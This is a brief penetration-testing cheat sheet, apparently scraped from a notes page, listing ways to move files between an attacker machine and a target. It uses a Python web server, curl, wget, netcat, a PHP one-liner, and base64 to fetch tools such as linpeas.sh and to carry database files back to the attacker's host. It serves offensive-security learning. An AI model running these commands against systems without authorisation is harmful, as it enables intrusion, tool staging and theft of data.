Techinque
Start a simple web server to host files:
python3 -m http.server 80Imagine you want to transfer linpeas.sh to the target machine, so you do
curl -o linpeas.sh http://yourip:80/linpeas.shDownload a file using wget:
wget http://192.168.1.102/file.txtDownload with curl:
curl -O http://192.168.1.102/file.txtOn the attacker machine:
nc -lvp 4444 < fileOn the target machine:
nc 192.168.1.102 4444 > fileOn the target machine:
nc -lvp 3333 > file.shOn the attacker machine:
nc 192.168.1.103 < file.shDownload a file using PHP:
echo "<?php file_put_contents('file.txt', fopen('http://192.168.1.102/file.txt', 'r')); ?>" > download.phpOne of my favorites, especially I use it for dump databases to my host
base64 usernames.db > encodedb.txtNow on your host
base64 -d encodeddb.txt > usernames.dbÚltima actualización